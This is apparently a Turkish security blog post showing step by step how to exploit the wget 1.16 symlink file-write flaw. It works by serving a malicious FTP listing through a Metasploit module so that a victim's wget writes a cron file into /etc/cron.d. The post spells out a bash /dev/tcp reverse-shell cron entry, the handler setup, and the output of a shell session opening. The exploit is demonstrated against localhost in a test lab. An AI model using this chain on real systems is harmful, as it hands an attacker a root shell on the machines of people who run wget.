Wget komutu, uzak sunucudan HTTP, HTTPS ve FTP protokolleri üzerinden dosya indirilmesini sağlayan bir araçtır. Geçtiğimiz hafta içerisinde wget 1.16 ve önceki versiyonlarında geçerli olan uzaktan komut çalıştırma zafiyeti tespit edilmişti.
Zafiyet, wget’in dizin listelemek istediğin sekmede, mevcut sekme ile aynı isimde bir symlink’in bulunması ile tetiklenmekte. Wget öncelikle symlink’in ait olduğu path’i kendi sisteminde oluşturacaktır. Ardından aynı isimli dosyanın içeriğini bir önceki adımda linklediği yerel dizine yazacaktır.
Saldırgan olarak wget ile FTP adresimize wget komutu çalıştıran kullanıcıların istediğimiz yerel dizinine müdahile edebilme imkanı vermekte.
Bu zafiyeti test ortamında denedik ve exploit etmeyi başarmıştık. Bugün wget zafiyeti için metasploit modülü yayınlandı.
GNU Wget Zafiyetine Saldırı Düzenlemek
Yukarıda açıklandığı üzere wget komutunu çalıştıran kullanıcının yerel dosya sistemine erişim ve düzenleme imkanı bulunmakta. Saldırı vektörü olarak wget komutunu çalıştıran kullanıcının crontab dosyası yeniden düzenlenerek saldırganın belirlediği IP adresine reverse-shell bağlantısı gerçekleştirilebilir.
Wget komutunu çalıştıran clientte aşağıdaki terminal komutunun crontab ile her 1 dakikada bir çalıştırılması sağlanacaktır.
cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/127.0.0.1/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD
Kullanıcıdan gelen reverse-shell bağlantısını karşılayacak handler aşağıdaki şekilde ayarlanır ve background process olarak çalıştırılır.
msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash msf exploit(handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 127.0.0.1:4444 [*] Starting the payload handler...
Şimdi ise symlink ile kullanıcının indireceği dosyayı /etc/cron.d/cronshell ‘e linkleyerek FTP servisini başlatan aux modülünü kullanalım
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell TARGET_FILE => /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell TARGET_DATA => file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 SRVPORT => 21 msf auxiliary(wget_symlink_file_write) > run [*] Auxiliary module execution completed [+] Targets should run: $ wget -m ftp://192.168.226.128:21/ [*] Server started.
Wget komutunu çalıştıracak masum kullanıcının komutu çalıştırması.
root@rootlab:~# wget -m ftp://127.0.0.1:21/ --2014-10-29 18:19:57-- ftp://127.0.0.1/ => `127.0.0.1/.listing' Connecting to 127.0.0.1:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> PASV ... done. ==> LIST ... done. [ <=> ] 158 --.-K/s in 0s 2014-10-29 18:19:57 (464 KB/s) - `127.0.0.1/.listing' saved [158] Creating symlink `127.0.0.1/xsSORThAl' -> `127.0.0.1/xsSORThAl'
Bu komutun çalışmasının hemen ardından kullanıcının crontab’ına yukarıda belirttiğimiz reverse-shell komutu yazılmış olacak ve anında çalışacaktır.
Handler ekranında ise meterpreter oturumunun açıldığını görmekteyiz.
msf auxiliary(wget_symlink_file_write) > [*] 127.0.0.1:54321 Logged in with user 'anonymous' and password 'anonymous'... [*] 127.0.0.1:54321 -> LIST -a [*] 127.0.0.1:54321 -> CWD /xsSORThAl [*] 127.0.0.1:54321 -> LIST -a [*] 127.0.0.1:54321 -> RETR cronshell [+] 127.0.0.1:54321 Hopefully wrote 184 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36502) at 2014-10-29 18:20:01 +0200